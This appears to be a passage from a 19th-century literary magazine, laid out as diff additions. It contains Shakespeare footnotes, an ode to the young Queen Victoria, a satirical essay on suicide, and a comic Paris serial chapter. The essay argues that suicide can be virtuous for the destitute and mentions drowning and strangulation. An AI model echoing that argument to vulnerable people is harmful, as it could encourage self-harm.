+    'Faith, here's an English tailor come hither
+    For stealing out of a French hose. Come in, tailor.
+    Here you may roast your goose.
+                                    Knock--knock--
+                                                    Never in quiet.
+    Who are you? but this place is too cold for hell.
+    I'll devil-porter it no longer. I had thought
+    T'have let in some of all professions,
+    That go the primrose-path to th' everlasting darkness.
+
+The alterations I propose are very slight. _Upon_ for _on_, _i'faith_
+for '_faith_, and the introduction of the word _one_ in a place where
+it is required. The succeeding dialogue is also in blank verse. So is
+the sleeping scene of Lady Macbeth; and that so palpably, that I wonder
+it could ever pass for prose.]
+
+[Footnote 39: Warburton proposes that we should read "from the _nape_
+to the chops," as a more probable wound. But this could hardly be
+called _unseaming_; and the wound is intentionally horrid to suit
+the character of the play. So, for the same reason, when Duncan is
+murdered, we are made to remark that the old man had much blood in him.]
+
+[Footnote 40: Causes secretes de la Révolution de 9 au 10 Thermidor; by
+Vilate, ex-juré révolutionnaire de Paris.]
+
+
+
+
+ODE TO THE QUEEN.
+
+
+    Thou of the sunny hair,
+    And brow more sunny and more fair;
+    The upraised heaven-blue eye,
+    That borrows from the sky
+    Its tint, its brightness, and its majesty;
+    A lip half pouting and half curl'd,--
+    Mercy and Justice met
+    To speak thy dictates to the world!
+        A form, nor tall,
+        Nor small,
+    But bearing up the casket of thy mind,
+    Like to a classic pillar 'neath an altar set,
+    For elegance, and not for gorgeousness design'd.
+
+        How can I hope,
+    Whilst adulations throng
+    From mouths of wisdom and the great,
+    To lift my humble song,
+        Or cope
+    With those of higher state,
+    But that the smile which smiles on all so free
+        _Must_ smile on me?
+
+    Oh, that a brow that has not learn'd to frown
+    Should bear the impress of a royal crown!
+    That youth, which has not yet seen womanhood,
+    Should counsel for the aged and the rude!
+    And that a form, which joyous as a bird has flown,
+    Should rigid grow, and statue-like upon a throne!
+
+    Can thy tiara's light
+        Brighten thy fate?
+    Or thy great empire's might
+        Relieve its weight?
+        Can aught atone
+    For natural youthful pleasures fled and gone?
+    Not gilded pageantry,
+    Nor boundless sovereignty:
+    The ocean that thou rulest is more free than thee!
+    Thy youthful life is coffin'd down
+    Beneath the chaining trammels of a crown.
+
+    But there's a recompense that's given,
+        That must sustain
+        Thy trying hour,--
+    The all-seeing eye of Heaven
+        Blesses thy reign
+        And power;
+    A Nation's love, in acclamations deep,
+    Mingles even in thy unbroken sleep,
+    Giving thee back, in many a vision wild,
+    Thy days of youthful and unfetter'd charm;
+    And a fond Mother's arm
+    Pillows her regal child.
+    Ah, when thou wakest, still that joyful face is seen,
+    Beaming upon her daughter and her youthful queen!
+    On the scroll of Fame
+        Thy name
+        Stands free,--
+    'Tis but another name for Victory!
+    Long may it stand
+    A law,--a beacon,--and a will,--
+    Till the Omnipotent command
+    Bids Fame be mute, and the great globe be still!
+
+                                            W.R.V.
+
+
+
+
+SUICIDE.
+
+    "Die, and increase the demand for coffins!"
+
+        _Motto of Undertakers' Mystery. Free translation._
+
+
+A certain philosopher once said, with a degree of truth that proved the
+strength of his own head and the weakness of the human nature he was
+anatomizing, that "many men could easily bring themselves to _practise_
+those things they would in nowise permit to be _preached_ to them." He
+saw the line of distinction between virtue in _thought_ and virtue in
+action,--the ease with which we could have the former, the difficulty
+of possessing in practice the latter; he knew how easy it is to be good
+when and where there is no temptation to the contrary; he knew the
+proneness of people thus luckily located on the top of Fortune's wheel,
+to inquire with seeming wonder wherefore they who were being pulverized
+beneath the bottom of the same,--the pulverization being no jot the
+pleasanter from the obvious fact of the inquirer's weight being on the
+top,--why the discontented fellows presumed to be so uncomfortable,
+when their superiors made so many inquiries after their well-being; he
+knew that the top wheelmen were but too apt to argue about the fellows
+below as if they were of themselves, and to conclude that it was as
+wicked a thing for a man to steal a penny loaf when starving, as for an
+alderman to do the same thing, whose well-turtled stomach would bring
+the robbery into an act of wanton appropriation, only to be explained
+by his superabundant organ of acquisitiveness. In short, respectable
+reader, he knew what we all know, after he has made it clear, that the
+_degree_ in which we practise what we will not permit to be preached to
+us, is proof of human weakness, and measure of the want of health in
+our personal morals. It is a confession of our inability to act up to
+our conception of virtue; and the cherishing the theory of good without
+making the practice follow after, is a postponement of active virtue
+_sine die_. Or if we beat away that pertinacious dun, conscience, by
+saying, "Ah! never mind, I'll start with bran-new morals next year,"
+it is only like moving that a bill be read this day six months,--a
+humane method of knocking the measure on the head without the unfeeling
+necessity of saying in so many words that knocking is to be its
+entertainment.
+
+Now, if I were to say,--which I feel very much disposed to do,--that
+cutting one's own throat (where there are no kindred feelings to be
+cut)--"that cutting one's own throat in this case was a very proper
+thing,--where a man likes it," I should at once have a cloud of the
+schoolmen upon me, each with the weapons his master of the ordnance,
+Paley, has supplied to him, proving, until breath, temper, and text
+were exhausted, that I am a presumptuous puppy in imagining for one
+moment that I have any property at all in my own throat, which is
+given to me for the good of society, and not to be cut by and for
+me, and my proper satisfaction. This would be the language of these
+"top wheelmen,"--fellows who are far too comfortable not to wish to
+be as immortal as a corporation, and who therefore doubt my sanity
+in not being as jolly as themselves,--like the young princess to her
+miserable little subject, "What is the matter with you?--how can you
+cry? _I_ am very happy?" "Live," says the archdeacon, as he wipes
+his mulligatawnied mouth with his napkin;--"live," cries he to the
+lank-cheeked fellow who has been fished out of the river against
+his will, whither he had gone to stop the disagreeable function
+of breathing on a scanty supply of bread;--"_live_," cries the
+archdeacon,--"life you cannot give, life you cannot take. You are
+placed in this world to run your course; you must run it accordingly.
+How soon it may require your aid, you do not know; at any rate, when
+it is fit you should retire hence, you will be _called_ hence; rush
+not uncalled-for, into the other world. I am sorry for you; here is
+half-a-crown; and, John," turning to the footman, who has been picking
+the crumbs of morality falling from the rich man's mouth, "_John,
+show this poor man out_." The poor man, with a sad aspect and a slow
+pace, crawls toward the door; and looks as if, did not deferential
+modesty restrain him, he would reply to the good archdeacon in these
+words. As the old man has seen them, and owned, with wonder at our
+penetration, that they correctly exhibit the thoughts at that time
+passing through his brain, we at once put the reader in possession.
+"Live, my dear sir! I am quite willing to do so; it is what I have
+been in vain struggling to do. Live! Have not the slightest objection;
+but then I _must_ live; _you_, your honour, have said you could not
+afford to keep a conscience, although you doubtless think it a very
+good thing among people who _can_ afford to do so; indeed I know well
+your _writings_ venerate many things your _acts_ do not, for want
+of this article you cannot afford to keep. So my abstract admission
+must be given to all arguments against suicide in the main, reserving
+a particular conclusion for myself, _viz_. that to attempt to live
+without money is quite as bad as cutting off my legs, in order to pit
+myself in a walking-match against Mr. Coates. I shudder, Mr. Paley, as
+deeply as yourself at the general idea of suicide; but, in reference
+to particular cases, it's all a matter of cash. _You_ cannot afford
+to keep a conscience, another man cannot afford to keep a mistress, a
+third finds the keeping _himself_ beyond the capacity of his exchequer:
+the first denies himself the luxury of a conscience for the present,
+the second puts his lady quietly away, the third puts himself in a pond
+quietly and comfortably." The would-be suicide was quite right: as the
+profound estimator of political tactics some time back remarked, in
+reference to the gladiatorial exercises of the factions of the day,
+"it's all a matter of 'wittals:'" necessity compels us to do what
+principle will not hear preached by others; so that I almost despair of
+miseries great as mine making out a claim for mortality, and apprehend
+that only a few very sensible people will say at the end of my paper,
+"There, _go, my good fellow, and hang yourself_, as soon as you can
+beg, borrow, or steal a sufficient bit of cord for that laudable
+purpose."
+
+Yet if there be one moral truth clearer, stronger, and less assailable
+than another, it is that, in some circumstances, "self-murder" is the
+most virtuous act a man can perform. A burthen to himself, an annoyance
+to the world, no relatives or connexions to regret his loss, may not
+an intentional stopping of the breathing function be the best act he
+can commit for all sides? The utilitarian will say "_Yes_," among
+whom we rank the Paleyites, all of whom were and are utilitarians;
+the old-fashioned addlepates will shake their heads, take snuff, and
+finally declare that a good deal may be said on both sides.
+
+The above useful reflections, as well as those that immediately follow,
+had their origin on the third step above high-water mark of Waterloo
+Bridge.
+
+I was thinking about providing for myself in the flood beneath, and
+after mature reflection concluded I had better not. They are your
+"thinkers" about it who never do the thing,--a man who is always
+thinking about marrying is sure to die an old bachelor. Hamlet thought
+about killing his uncle so long, that that very immoral elderly
+gentleman had very nearly slipped through his reflective nephew's
+fingers; and so a man who thinks about throwing himself in the water is
+sure to conclude the argument as I did, by turning round and walking
+up the steps. Indeed death's a nasty thing; we go to it as to a last
+resource, sharp though sure, as the young woman said on handling the
+hatchet that was to dissociate her head and shoulders. The watery form
+of it has its advantages and disadvantages; there is little pain, but
+it is cold, plashy, sneaking, and kitten-killing in its general style:
+the warmest imagination cannot save the body from a certain shiver
+as the thing is contemplated; at least that was my experience on the
+third step aforementioned. I tried to fancy that it was but a sort of
+hydrostatic bed without the expense of the India-rubber casing. It was
+of no use; active memory recurred to the attitudinizings of a fine
+growing family of young mousers whom in early life I had introduced to
+the cold comfort of a pail of water; and at the reminiscence my blood
+ran colder than the water at my feet. With a quiet rippling plash it
+washed along the step. It sounded to the ear as if old Charon called
+from the bottom, ready to start over that other stream to which this
+merely branch canal must conduct us. Bright and tempting it ran at
+my feet, ready to conceal both me and my sorrows. But the foolish
+instinct for life prevailed within me; I returned to walk the streets
+at night,--an employment from which I had thought, ten minutes before,
+_death_ would be a happy relief; a delusion which the being confronted
+with it soon dissipated. In walking up the steps I felt as one who had
+been reprieved, to whom life in its worst aspects would be infinitely
+preferable to that 'hereafter' which the fancy studs with such dimly
+awful horrors.
+
+"Stuff!" I hear some one say who is reading this perhaps on a
+full stomach; "nonsense! a happy relief from walking about the
+streets, indeed! the fellow does not know what to write about." So
+would not poor old Dr. Johnson have said after one of _his_ street
+vagabondizings, when he sate down to write the essay whose signature
+"Impransus," indicated the dinnerless state of the writer's stomach;
+so would not _he_ have said; no, nor his wandering chum, Savage: warm
+tears would have coursed down their rough cheeks, for they knew what
+it was in _their_ time; and living in the streets, notwithstanding the
+improvement of the paving, is not much more desirable now than it was
+in their time, or in the old time before them.
+
+It is only at night,--and that cold, drizzly, and muddy,--you can
+feel in its full force the misery that is foodless and houseless. In
+the day the busy streets are thronged with the crowds drifting along,
+intent on their respective objects. Then, houseless though you be,
+you feel no consciousness of it from contrast: purposeless as you
+are, the fact is known to none but yourself, and you enjoy the poor
+privilege of promenading the pavement free from staring remark or
+official interruption. But at night, about twelve or half-past, the
+theatre-frequenters hurrying home, happy shopmen returning from their
+sweethearts, and attorneys' clerks and small joyous shopboys, cigar
+in mouth, hastening to their quiet beds, the very poorest Cyprian,
+perhaps, staggering away in silence and ginny stupor to her squalid
+room,--then you feel that you are not one of the mass; it is the
+school-boy sensation of strangeness in a new school, carried up and
+increased into one's manhood; you are a misfit in society,--of no use;
+a shoe-black, a hackney-coachman, a costermonger are respectable in
+your eyes, for each of these holds a department in the great game of
+life. If you walk fast, the tears come into your eyes at the thought of
+the sad mockery of people with homes,--for _where_ should _you_ walk
+_to_? You slink from street to street, shivering and broken-spirited;
+afraid to pause, lest the searching eye of the policeman shall for one
+moment mistake the unfortunate for a thief; and tremblingly shunning to
+stretch your weary limbs in a doorway, tempting as it looks, that your
+miseries shall not the next morning be presented to a police office,
+and published to the world. In fine, you almost feel that the "_world
+would move on much the same even if you were dead and buried_,"--a
+root-and-branch cutting-up of one's self-esteem that may be called the
+last conviction of the dejected.
+
+Many are the poor wretches who for months pass through such an
+existence as this. If men, enlistment is a last resource: if women,
+prostitution, paint, gin, and jollity that would look wonderfully
+_like_ happiness were it not so _loud_, low spirits, laudanum, or
+Waterloo steps; paragraph in newspapers--old story--seduction and
+suicide--fine young woman--parents in the country; penny-a-liner
+pockets his fee, and keeps the "_form_" of his female biography open
+for the next name the same set of circumstances may bring to him.
+
+There is something awfully desolate in walking the streets through
+a night, passing across that dark gulf of the four-and-twenty which
+is a sort of temporary banishment from humanity,--that on-and-on
+purposeless tramp from the coming down of the darkness to the dawning
+of light, passing perhaps not two persons within the space of a mile;
+the solitary pad of our feet on the pavement; the sombre and dim hue
+of the streets relieved by the gas; the seemingly unnatural quiet in a
+place old custom tells us should be so noisy; the strange feeling that
+we are watching and thinking, whilst the vast Leviathan of toil, and
+luxury, and woe, and pleasure, has run its daily course, and is now
+snatching from the Lethe of sleep the instalment of energy for the next
+day's career. What passions and aspirations, what purposes of pomp
+and glory, of wickedness and virtue, what golden glories of the poet's
+brain quenched, or flickering in the twilight of dream, the strategy
+of the politician, all plunged into the "death of each day's life!"
+What a time, what a scene for reflection, with the deep, and awful, and
+warning gong of old Paul's clock striking two, in a tone which, plain
+as words, tells us how time with flying foot runs from us,--and all
+the humbler fry of iron pots in the metropolis plagiarising the sad
+fact tolled forth by their grave old leader! The streets are completely
+empty; the very policeman has slunk into some early house, and we feel
+like the last man.
+
+And who will wonder, after this course repeated with little variation
+for a respectable period of three or four months, that a man looks upon
+a dissolution of partnership with this lower life as the best fate
+open to him? Why should one in this state stay longer among men, when
+no occupation can be secured which will rescue him from indifference,
+or shield him from contempt? Why should moralists, like Paley, try to
+stay his purpose by flinging the salt of their sapiency on his tail,
+when his only ambition, like Goldsmith's George Primrose, is to _live_,
+and that humble aim thwarted at every avenue by the grim visage of
+starvation staring him in the face? It is time he is gone. Let him
+unlock his soul from its painful prison, and send it cleaving its way
+in the joy of emancipation to those regions where the wicked cease
+from troubling, and the weary are at rest. Without wife or children,
+brothers, sisters, or cousins, grandfathers or grandmothers, dogs,
+cats, or birds, which can call with the voice either of nature or
+custom for my personal presence here below, why should _I_ be tied by
+the leg with a moral "ne exeat mundo?" I _am my own_,--not a chop or
+a cutlet of me belonging to my creditors, for I am out of debt; and
+surely, I repeat, I may do what I like with my own. "You are _not your
+own_," again cries my moralist, attempting to throw a net of words over
+my mind about relative and social duties, society and its incidents,
+law of civilization, &c.--the whole leading to a sort of conclusion
+that if the world may not want me _now_, there is no saying the time
+will not come when it may find out what an indispensable person I
+am; and upon the dependence of this "may want" I am to hang about in
+the outer hall of this sublunary state, until those very comfortable
+fellows within, happen to think of us shivering without, and promote
+us to the pleasures of their well-plenished table. Truly we must wait
+long for this,--perhaps until an earthquake comes, and they call for
+our assistance in fishing them up through the bricks and beams of their
+fallen chambers.
+
+No, no; Mr. Creech was quite right, if he thought himself so, in
+writing on the margin of his Lucretius, "When I have finished my
+translation, I must kill myself." That gentleman took the extended and
+philosophical view of the subject; life was to him something to be and
+to do; to be a translator, to do Lucretius, and then to do for the
+personal estate of Mr. Creech in this world, in order to translate the
+accidents and chances of personalty into the settled and comfortable
+remainder of eternity. Cool, philosophical man! what refinement of
+reflection, to come to regard the act of letting out life with as
+little perturbation as ordinary men contemplate eating their dinners!
+To translate Lucretius was his task; performed, he was to kill himself:
+a silk-weaver has to weave so many yards of his fabric; done, he
+promises himself with his wife and little ones a walk in the fields. In
+both cases there is a duty to fulfil, in both cases the emancipation
+follows; both must we subject to the same test in endeavouring to
+settle their respective characters,--the necessity or obligation of
+the translator on the one hand, or the weaver on the other, loitering
+in the world, or the workshop, after their work is executed. The
+only difference is an affair of time and distance; the one being
+bound, as he thinks, for the _Elysian_, the other and humbler for the
+_Marylebone_ fields.
+
+"Well, my dear sir," cries the reader, "I see you are intent on your
+_point_. I shall perhaps only waste my lungs and logic in trying to
+beat you away from your delusion; but reflect, sir, the tendency--how
+catching--the imitative faculty in man,--lateral organ largely
+developed." Fiddlestick!--away with your organs and developements!
+An old gentleman, who has read all qualities of human dealing in a
+learned spirit, writes as follows:--"All I will venture to assert with
+confidence is, that there is no reason to apprehend that suicide will
+become an epidemic malady. Nature has provided too well for that. _Hope
+and fear are too powerful as inducements_ not to frequently _stop the
+hands of a wretch about to terminate his own life_."
+
+Meanwhile, it is useless blinking the moral fact, that suicide is as
+natural a result of compared good and evil as any other act in life.
+In every case (not excepting those of insanity) we shall find it takes
+that shape. Whether it be Mr. Creech, who sits down and stares death
+out of countenance with a familiarity that must have disconcerted the
+conceit of the omnipotent old commissioner,--or one with blasted hopes,
+like myself,--or blighted ambition, like old Anthony,--or repulsed
+patriotism, like Brutus,--the process is the same in all,--comparison
+of the inestimable evils of life with the presumed quiet and rest of
+the grave, and action in accordance with the conclusion. Men are not
+cowards for not living to face evils, for the mere sake of facing
+them without any other result; they are men of policy and magnanimity
+to quit, when the grappling with them can alone be productive of a
+self-destruction of a more painful and protracted character, or at
+best exhibitory of an idle and vain bravery of bearing, of no avail
+either one way or the other. They are not cowards, and no imputation of
+cowardice will prevent them following out the clear conceptions that
+are shaped from their exigencies, any more than it would deter one in a
+burning ship at sea from casting himself overboard, rather than become
+an insulated and floating roast; or than it shall prevent me, when I
+have made an end of this confession, plaiting my garters for the office
+of strangulation, if after the plait is finished I entertain the same
+fixed principles on the subject as I do at present.
+
+        M.
+
+
+
+
+ADVENTURES IN PARIS.
+
+CHAPTER II.
+
+BY TOBY ALLSPY.
+
+THE FIVE FLOORS.
+
+
+To the best of our belief, Paris is the only city in Europe where a
+prize is annually distributed for the encouragement of VIRTUE. In
+England--that Joseph Surface of the civilized globe--we give premiums
+for the growth of fat sheep and piccotees, we boast of prize-oxen
+and prize-heartsease; but at present we have no prize-virtue. The
+celebrated benefaction founded by Monsieur de Monthyon (confided to
+the administration of the French Academy) consists in annual premiums
+for the production of the finest trait of moral excellence, and the
+literary work best calculated to promote its recurrence.
+
+Now, Monsieur Boncœur, of the first-floor of the corner of the Rue
+Montmartre, might have monopolised the whole Monthyon endowment for the
+last fifteen years. The whole man was an incarnate virtue; his works,
+literary or literal, were based upon the strictest morality. From his
+top-knot to his shoe-tie, propriety predominated. Methodical in his
+hours and diet, regular as a chronometer in despatch of business, he
+insured his own ease of mind and body by scrupulous exactitude in the
+discharge of their duties and pleasures. His apartment was a model of
+commodiousness,--doors and windows shutting to a hair; not a draught of
+air, not a creaking hinge, not an unsteady table, not a hard-shutting
+drawer, not an easy-opening lock in the whole suite. The floors in
+summer were as polished as their master's demeanour, the carpets in
+winter as soft as his address. No grand displays of fragile luxury, of
+Japan porcelain or Bohemian glass, alarmed the anxieties of Monsieur
+Boncœur's constituency. It was the "comfortable" in perfection,--but
+nothing more.
+
+What wonder that a man thus basking in the sunshine of prudent
+prosperity should bask in the favour of the world?--that such an
+ornament to society should be incorporated in all the learned and
+charitable societies of the city?--that so worthy a fellow should
+be a fellow of every academy and literary association? A string of
+conventional distinctions was attached to Boncœur's name, vying
+in length with the catalogue of chivalric honours appended in German
+almanacks to that of Prince Metternich; but, what was more to the
+purpose, the patronymic thus honoured was inscribed in every public
+stock or fund, domestic or foreign. His house was a house of universal
+bondage. Not a railroad could be started by government till Boncœur
+had been closeted in the stuffy, fussy, great-talking-little-doing
+cabinet of the Home Department; nor a minister accredited, till he
+had hinted his hints and inferred his inferences in the sphinxical
+blue-chamber of the Foreign. The worsted epaulettes of that
+all-conciliating monarch, the citizen king, were observed to bow lower
+to their excellent and much-esteemed friend Monsieur Boncœur than
+to any other of the golden calves invited to feed and ruminate at the
+royal rack and manger of the Tuileries.
+
+Of all the inhabitants of the house whose _cordon_ was pulled by
+Madame Grégoire, Boncœur may be considered as at once the least
+and the most domestic. His business lay elsewhere,--his pleasures lay
+elsewhere; it was only his respectability that lodged in ostentatious
+comfort in the first-floor of that memorable dwelling. He knew and
+cared nothing concerning the neighbours. On his progress from his
+apartment to his carriage, from his carriage back to his apartment, the
+banker's countenance expressed only a mild, imperturbable magnanimity,
+looking neither to the right nor left, but enwrapt in reminiscences
+of the panacean speech he had been delivering to the Chamber, in
+proof to the kingdom that it paid no taxes, but lay stretched upon
+a bed of roses. One day, however, when his ascent happened to be
+more mercurial than usual, he came suddenly in contact with Claire
+de Courson, whose slight figure was bending under the weight of a
+piece of furniture which she was carrying up to her mother's room;
+and her pure complexion became suffused with the deepest blushes as
+she acknowledged and declined his polite offers of assistance in her
+task. Next day, Robert the footman, who had been deputed to relieve
+her from the burthen of the elbow-chair, was commissioned to convey
+the "Follet" and apricot marmalade in the same direction. Till that
+memorable epoch, the virtuous Monsieur Boncœur had remained ignorant
+that the house contained so powerful an incentive to the fulfilment of
+the Christian commandment to love his neighbour as himself. But it was
+not too late. The banker was fond of apricot marmalade, and partial to
+the prettinesses of a fashionable magazine,--his fair neighbour of an
+age to share his predilections; and, in presenting these saccharine
+offerings, he did as he would be done by. The virtuous Monsieur
+Boncœur was too painfully aware, however, of the scandal-mongering
+propensities of a sinful world to entrust to the remarks of a common
+staircase and porter's lodge the visits of a bachelor first-floor to
+a single third-floor, with large grey eyes, long black eyelashes, and
+the shape of a nymph. His respectable Robert, a corpulent middle-aged
+footman, might in the first instance represent his high-principled
+principal, without provoking the espionage of Ma'mselle Berthe, or
+the commentations of Madame Grégoire. In the intimacy he hoped to
+establish, all the advances must come down stairs. The man after the
+king's own heart was too prudent to stir a single step upward.
+
+Beyond the door of the antechamber, however, which was opened by
+Mademoiselle de Courson in person, the corpulent footman did not
+penetrate. The young lady returned, in her mother's name, a civil
+answer of acknowledgment to their wealthy neighbour, stating that the
+infirmities of her mother's health rendered it impossible for them
+to receive visitors. The corpulent footman (despising these wretched
+people,--as wretched people who keep no establishment of servants
+ought to be despised by a corpulent footman,) immediately settled it
+in his own mind that the apartment was too shabby and littered to
+admit of receiving a gentleman of such far-famed respectability as the
+eminent banker of the Rue Bergère; that the Coursons' furniture was
+probably mean,--their fare meagre. The utmost stretch of his pampered
+imagination did not conjecture that their fare consisted of their
+furniture,--that ever since Madame's arrival with the truck, she had
+been dining on chairs and breakfasting on feather-beds. Not a soul in
+the house (except Guguste) had at present noticed that the _meubles_
+carried down and conveyed away "to be mended" never found their way
+back again.
+
+Small as were the appetites of the third-floor, it is extremely
+difficult to feed and lodge two full-grown human beings upon a pension
+of forty pounds a-year; and, by the recent failure of the notary in
+whose hands the small funds of Madame de Courson were deposited, this
+was all that remained to support her and her daughter. On the discovery
+of their misfortune, indeed, Claire had undertaken to increase her
+own and her mother's daily bread by assiduous needle-work; but the
+constant attendance required by the poor and sorrowful invalid rendered
+it difficult for her daughter to fulfil her good intentions. Till the
+loss of their property, they had resided, in tolerable comfort, in
+cheerful rooms on the Quai Voltaire, assisted by an effective servant;
+but all this had been perforce resigned,--the best part of their goods
+was sold off, their wardrobe stript of its luxuries, and Claire was
+fully justified in undertaking, as she did, the service of the kitchen
+and pantry; for it was clear that their diet must henceforward consist
+of bread and water. Like most poor people, they were proud; and pride
+served to increase their privations. Madame de Courson, the widow of
+an officer, one of the victims of the Russian campaign, had never yet
+solicited a pecuniary favour from living mortal. She preferred working
+for her livelihood, or starving; that is, she preferred that her
+daughter should work for their livelihood, and consequently that they
+should starve together. It must be owned (_par parenthèse_) that the
+only favours tendered to her acceptance since she took up her domicile
+in the corner house, were Monsieur Boncœur's gift of apricot
+marmalade and loan of a journal, and poor Guguste's earnest entreaty
+to Mademoiselle, into whose acquaintance he had intruded by carrying
+up Madame de Courson's first and last batch of wood, to be permitted
+to black her shoes, and perform other little neighbourly offices of
+similar delicacy. When, however, the shoes grew thinner and thinner,
+without being replaced, his aid was more rarely accepted, and at length
+positively declined; and little Guguste, who was more a man of the
+world than the corpulent footman, justly concluded that Mademoiselle
+Claire did not like to expose her attempts at repairing the inevitable
+fissures to the comments of Monsieur Georges's lad of all work. Still,
+though tacitly dismissed from her service, the grey-eyed beauty never
+passed him on the stairs without a word or smile of recognition,
+even when her heart was sorest and countenance saddest; for Guguste
+had installed himself her friend. It remained to be seen whether the
+donor of the apricot marmalade would prove as true a one as the young
+shoeblack.
+
+Be it not inferred, however, that the amiable attentions of the
+ragamuffin page were paid solely as a tribute to beauty; they were a
+tribute to beauty in distress. There were two other particles of the
+fair sex resident under the same roof, whom most lads of his age would
+have preferred to the grey-eyed nymph of the third-floor, viz. Madame
+la Baronne de Gimbecque, a pretty widow, somewhere between twenty-five
+and fifty years of age, (for in a well-dressed widow it is extremely
+difficult to determine a woman's age within ten years or so,--none but
+a lady's husband being admitted to investigate the case before she
+
+                        "adores,
+    With head uncover'd, the cosmetic powers;")
+
+and Madame la Baronne de Gimbecque's coquettish waiting-maid,
+Mademoiselle Aglaé. But for neither of these divinities of the
+_entresol_ had Guguste ever felt inspired with an inclination to
+wield the blacking-brush! Not that either the widow or the maid was
+at any moment guilty of a _chaussure_ susceptible of such plebeian
+_enchainement_:--Madame la Baronne walked not only in silk attire,
+but silken shoes; while Ma'mselle Aglaé, like Lear's soldiers, was
+shod with felt, shuffling in slippers all the morning, and reserving
+prunella or satin for her visits, play-goings, and _bals masqués_.
+
+Madame la Baronne, with a fortune of thirty thousand francs, or twelve
+hundred pounds, per annum, would have passed in London for a widow
+of moderate means, and might perhaps have speculated on improving
+them by marriage. In Paris she passed for a rich one, and occupied
+herself with her own amusement. It is amazing how much pleasure may
+be purchased in that circumscript capital at the rate of one hundred
+pounds per month, particularly in the state of blessedness which is
+called single. Conscious of her advantage, Madame de Gimbecque was far
+from anxious to inscribe herself in the register of lodgers in the Rue
+Montmartre by double entry. France is peculiar in its views of wedded
+happiness. In England, what is called a well-assorted marriage implies
+parity of condition, and compatibility of temper; in Paris, it implies
+equality of fortune. Five thousand a-year proposes to five thousand
+a-year,--three hundred per annum to three hundred; not Lord Thomas
+to Miss Sophia, or plain Tom to pretty Sophy. Beauty, harp-playing,
+quadrilling, have nothing to do with it,--all is matter of arithmetic!
+If the match turn out ill, it is no fault of the matchmakers; all has
+been done according to Cocker.
+
+Now Madame la Baronne, like most Frenchwomen, was a capital
+calculatress. She knew that, though Sophy and Tom are richer with six
+hundred a-year between them than Sophy with three and Tom with the
+same pittance, a pretty Madame de Gimbecque, between twenty-five and
+fifty years of age, is richer as a widow with thirty thousand francs
+per annum, than as the wife of a man of fashion with sixty. To espouse
+any man, _un_fashionable, was out of the question,--that is, any man
+unfashionable with an income only equal to her own. A Crœsus of
+any age or calling would have brought his own apology; and she would
+have added herself and her establishment to that of the respectable
+banker of the Rue Bergère at a moment's notice. But that consummation
+was past praying for. A Crœsus would require a Crœsa as his
+partner for life, as surely as the primitive lion trotted side by
+side with a lioness into Noah's ark; and Monsieur Boncœur, if
+matrimonially inclined, would demand hundreds of thousands per annum
+to amalgamate with his hundreds of thousands. The charming Adolphes
+and exquisite Amédées, meanwhile, frequenting Madame de Gimbecque's
+opera-box, or ambling by her side in the Bois de Boulogne, had either
+not an unmortgaged estate wherewith to pretend to her hand, or, if
+successful pretendants, would appropriate after marriage to their own
+gratification, not only their own thirty thousand, but three-fourths
+of hers. Very early in her widowhood Madame de Gimbecque came to
+this conclusion; and, on giving utterance at her toilet, as she
+threw off her widow's weeds, to her anti-matrimonial intention, they
+were confirmed by Mademoiselle Aglaé with so loud an "amen," that a
+by-stander might have supposed them two lay-nuns pronouncing vows of
+eternal celibacy.
+
+Madame de Gimbecque, though thus egoistical in her calculations, was
+nevertheless a light-hearted, good-humoured little woman, who, if she
+did not go out of her way to do good, did all the good that lay in
+it. She had been born, bred, married, and widowed according to that
+matter-of-fact social system of the French which leaves no space for
+the expansion of the feelings. Nothing like affection had graced her
+parents' household,--nothing like affection had warmed her own. Her
+fifteen thousand francs per annum had been married to those of an
+ex-colonel of cuirassiers, thirty years her senior, who had pretty
+nearly scolded, sworn, smoked, and expectorated his pretty wife out of
+patience, when the sour little cherub who sits up aloft keeping watch
+over matrimonial destinies, took pity on the lady, and took the colonel
+to itself.
+
+Marianne de Gimbecque, (then _not_ between fifty and five-and-twenty,
+but between five-and-twenty and fifteen,) though an orphan as well as a
+widow, consoled herself as thoroughly as propriety would admit for this
+sudden bereavement. She had neither a tie nor a relative in the world;
+but what pretty Parisian with _trente mille francs de rente_ can feel
+lonely, while there is an opera, a carnival, and a milliner's shop in
+existence!
+
+The baroness speedily set about improving her solitary hours. She
+devoted herself to the cultivation of her charms, as an Englishwoman
+might have done to the cultivation of her mind. Her accomplishments as
+a cosmetician were really surprising; she studied the art as a branch
+of natural history; not a perfumer in Paris could have deceived her as
+to the ingredients of a wash, or chemical compounds of a pommade. She
+knew what acids would injure the enamel of her teeth, what astringents
+wither the smooth surface of her cheek, what spirituous infusions
+turn her sable locks to iron-grey or silver, as well as Berthollet or
+"Sromfridevé." She could tell what atmospheric changes enabled her to
+exchange blue ribbons for pink, without compromise of the becoming; and
+regulated by the phases of the moon her ebbs and flows between cap,
+hat, and turban.
+
+Nothing could be more artistically managed than the apartment of the
+little coquette. Nothing, by the way, is so _easy_ to render coquettish
+as an _entresol_, which is, in fact, a series of boudoirs: saloons
+like those of Devonshire House, or a hall like that of Stafford,
+must be stately and ostentatious; the trickery of prettiness would
+be as much out of place in such places as rouge and pearl powder
+on the marble cheek of Michael Angelo's Moses. But a light airy
+_entresol_, or _mezzonino_ story, whose windows, fronting the south,
+are shaded by Genoese awnings, overhanging balconies, filled with
+geraniums, heliotropes, and mignonette,--whose anteroom is painted blue
+stripewise, to represent a tent, and whose dining-room is varnished
+scagliola fashion,--whose drawing-room is of white and gold, the
+_fauteuils_ and divans of yellow satin, the _cabarets_ of pale Saxon
+blue porcelain, adorned with shepherds, shepherdesses, and garlands
+of carnations,--the _consoles_ of varnished maple, white as snow,
+or as the single marble table, _taillé en bloc_, which sustains a
+scentless exotic in a vase of pale-green Sèvres,--whose boudoir is a
+tent of white muslin, drawn over dove-coloured _gros de Naples_,--whose
+bed-room is hung with cachemere spotted with palm-leaves, leading to
+a bath-room altogether spotless, and lined with mirrors;--such an
+_entresol_ is a paradise for a Peri, (whose age is between twenty-five
+and fifty!) and such was the one inhabited in the Rue du Faubourg
+Montmartre by Madame la Baronne de Gimbecque!
+
+The household was concomitant. A page in a neat livery, a
+powdered-headed middle-aged sobriety of a _maître d'hôtel_, a
+_chef_ of sufficient merit for a lady neither a dinner-giver nor
+dinner-devotee; and, to complete the measure, the _soubrette_,
+the waiting-maid, the spruce, cunning, _pimpante_, _fringante_,
+Mademoiselle Aglaé, with her embroidered cambric aprons and pink
+ribbons;--one pennyworth of waiting-maid to all this monstrous quantity
+of male-faction! The _maître d'hôtel_ dusted the china, the page
+rubbed the floors,--everything but the lady's toilet being performed
